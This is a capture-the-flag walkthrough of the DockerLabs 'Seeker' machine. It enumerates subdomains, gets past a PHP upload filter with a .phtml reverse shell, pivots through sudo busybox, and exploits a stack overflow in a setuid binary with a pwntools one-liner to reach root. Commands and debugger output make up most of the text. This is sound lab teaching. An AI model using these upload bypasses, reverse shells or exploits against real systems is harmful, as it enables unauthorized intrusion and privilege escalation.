Skip to main content

Seeker

export TARGET_IP=172.17.0.2
nmap -p- $TARGET_IP
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http

Exploring the Web Server

Access the web server at http://172.17.0.2/ and inspect the source:

<p>
This is the default welcome page used to test the correct
operation of the Apache2 server after installation on Debian systems.
If you can read this page, it means that the Apache HTTP server installed at
this site is working properly. You should <b>replace this file</b> (located at
<tt>/var/www/5eEk3r/index.html</tt>) before continuing to operate your HTTP server.
</p>

From this, infer the domain name could be "5eEk3r". On DockerLabs, it's common to see ".dl" as the hostname. Add this to /etc/hosts:

echo "$TARGET_IP   5eEk3r.dl" | sudo tee -a /etc/hosts

Directory Enumeration

Use ffuf to discover subdomains:

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://5eek3r.dl/ -H "Host: FUZZ.5eek3r.dl" -fs 10705
crosswords              [Status: 200, Size: 934, Words: 180, Lines: 102, Duration: 5ms]

Update /etc/hosts:

172.17.0.2      5eEk3r.dl       crosswords.5eEk3r.dl

Investigating Subdomains

Check http://crosswords.5eek3r.dl/ and find a comment:

<! -- Al que contratamos para crear la web nos habló de algo llamado 'xss'... que será? -->

This suggests potential XSS vulnerabilities, but the server-side script likely handles inputs safely.

Continue searching for more subdomains:

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://crosswords.5eek3r.dl/ -H "Host: FUZZ.crosswords.5eek3r.dl" -fs 10705

Results:

admin                   [Status: 200, Size: 2906, Words: 1318, Lines: 104, Duration: 4ms]
Admin [Status: 200, Size: 2906, Words: 1318, Lines: 104, Duration: 7ms]

Update /etc/hosts again:

172.17.0.2      5eEk3r.dl       crosswords.5eEk3r.dl    admin.crosswords.5eEk3r.dl

File Upload Vulnerability

Visit admin.crosswords.5eek3r.dl and find a file upload feature. Attempt to upload a PHP reverse shell, but encounter an error:

No se permiten archivos PHP, solo HTML.

Bypass this restriction by renaming the file extension to .phtml:

mv shell.php shell.phtml

Execute the reverse shell:

nc -lvnp 4444

Access it via http://crosswords.5eek3r.dl/shell.phtml.

Privilege Escalation

After gaining a shell, sanitize it:

script /dev/null -c bash
# CTRL + Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
stty size
stty rows <ROWS> columns <COLUMNS>

Check for sudo privileges:

sudo -l

Output:

Matching Defaults entries for www-data on dockerlabs:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty

User www-data may run the following commands on dockerlabs:
(astu : astu) NOPASSWD: /usr/bin/busybox

Exploit this by running:

sudo -u astu busybox sh
id # uid=1000(astu) gid=1000(astu) groups=1000(astu),100(users)
find / -type f -perm -4000 2>/dev/null
/home/astu/secure/bs64

Identify a vulnerable binary /home/astu/secure/bs64. It encodes input to base64 but crashes with a segmentation fault on large inputs.

Reverse Engineering

Transfer the binary for analysis:

Target Machine
python3 -m http.server
Attacker Machine
wget http://$TARGET_IP:8000/bs64

Alternatively, use base64 encoding:

Target Machine
base64 bs64 > /tmp/bs64.b64
cat /tmp/bs64.b64 # copy this content
Attacker Machine
echo "..." > bs64.b64 # replace dots by /tmp/bs64.b64 content
base64 -d bs64.b64 > bs64

Verify file integrity with hashing (good practice).

Analyzing with Ghidra

Identify the fire function:

void fire(void)
{
printf("Ejecutando /bin/sh");
setuid(0);
system("/bin/sh");
return;
}

Exploitation

Use pwndbg to find the offset:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 400 # copy the output

Run the binary with pwndbg:

chmod +x bs64
pwndbg bs64
pwndbg > r
Ingrese el texto: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
QWEQWEQWEQWEQWEQWEQWEQWEQWEQWEQWIQWIQWIQWIQWIQWIQWIQWIQWIQWIQWMQWMQWMQWMQWMQWMQWMQWMQWMQWMQWQQWQQWQQWQQWQQWQQWQQWQQWQQWQQWUQWUQWUQWUQWUQWUQWUQWUQWUQWUQWYQWYQWYQWYQWYQWYQWYQWYQWYQWYQWcQWcQWcQWcQWcQWcQWcQWcQWcQWcQWgQWgQWgQWgQWgQWgQWgQWgQWgQWgQWkQWkQWkQWkQWkQWkQWkQWkQWkQWkQWoQWoQWoQWoQWoQWoQWoQWoQWoQWoQWsQWsQWsQWsQWsQWsQWsQWsQWsQWsQWwQWwQWwQWwQWwQWwQWwQWwQWwQWwQW0QW0QW0QW0QW0QW0QW0QW0QW0QW0QW4QW4QW4QQ==

Program received signal SIGSEGV, Segmentation fault.
0x00000000004013d8 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────────────────────
RAX 0
RBX 0x7fffffffdd48 ◂— '4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A'
RCX 0x7ffff7eb6210 (write+16) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0
RDI 0x7ffff7f9b710 (_IO_stdfile_1_lock) ◂— 0
RSI 0x4052a0 ◂— 0x5751455751455751 ('QWEQWEQW')
R8 0x63
R9 0xffffffff
R10 3
R11 0x202
R12 0
R13 0x7fffffffdd58 ◂— 'Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A'
R14 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0
R15 0x403df0 —▸ 0x401130 ◂— endbr64
RBP 0x3363413263413163 ('c1Ac2Ac3')
RSP 0x7fffffffdc38 ◂— 0x6341356341346341 ('Ac4Ac5Ac')
RIP 0x4013d8 (main+58) ◂— ret
────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x4013d8 <main+58> ret <0x6341356341346341>




────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdc38 ◂— 0x6341356341346341 ('Ac4Ac5Ac')
01:0008│ 0x7fffffffdc40 ◂— 0x4138634137634136 ('6Ac7Ac8A')
02:0010│ 0x7fffffffdc48 ◂— 0x3164413064413963 ('c9Ad0Ad1')
03:0018│ 0x7fffffffdc50 ◂— 0x6441336441326441 ('Ad2Ad3Ad')
04:0020│ 0x7fffffffdc58 ◂— 0x4136644135644134 ('4Ad5Ad6A')
05:0028│ 0x7fffffffdc60 ◂— 0x3964413864413764 ('d7Ad8Ad9')
06:0030│ 0x7fffffffdc68 ◂— 0x6541316541306541 ('Ae0Ae1Ae')
07:0038│ 0x7fffffffdc70 ◂— 0x4134654133654132 ('2Ae3Ae4A')
───────────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────────────────────────────
► 0 0x4013d8 main+58
1 0x6341356341346341 None
2 0x4138634137634136 None
3 0x3164413064413963 None
4 0x6441336441326441 None
5 0x4136644135644134 None
6 0x3964413864413764 None
7 0x6541316541306541 None
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

ret is in <0x6341356341346341>, we will get the offset using that direction.

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x6341356341346341

Result:

[*] Exact match at offset 72

Locate the fire function address using objdump:

objdump -d bs64 | less

Search for fire:

/fire
000000000040136a <fire>:
40136a: 55 push %rbp
40136b: 48 89 e5 mov %rsp,%rbp
40136e: 48 8d 05 fb 0c 00 00 lea 0xcfb(%rip),%rax # 402070 <base64_table+0x50>
401375: 48 89 c7 mov %rax,%rdi
401378: b8 00 00 00 00 mov $0x0,%eax
40137d: e8 ce fc ff ff call 401050 <printf@plt>
401382: bf 00 00 00 00 mov $0x0,%edi
401387: e8 e4 fc ff ff call 401070 <setuid@plt>
40138c: 48 8d 05 f0 0c 00 00 lea 0xcf0(%rip),%rax # 402083 <base64_table+0x63>
401393: 48 89 c7 mov %rax,%rdi
401396: e8 a5 fc ff ff call 401040 <system@plt>
40139b: 90 nop
40139c: 5d pop %rbp
40139d: c3 ret
  • 0x40136b: this is the direction of the fire function
    • This is the address of the mov %rsp, %rbp instruction, which is the second instruction in the function.
    • Jumping to this address skips the push %rbp step. While this might seem unconventional, it works because:
      • By the time you reach this point, you are manually setting up the stack with your exploit, and skipping the push %rbp does not break execution. The mov %rsp, %rbp instruction will still execute and set up the stack frame.

With all that data we craft the following inline Python script and execute it in the same directory as the target binary in the target machine to get root:

python3 -c "from pwn import *; p=process('./bs64'); p.sendline(b'A' * 72 + p64(0x40136b)); p.interactive()"
id # uid=0(root) gid=1000(astu) groups=1000(astu),100(users)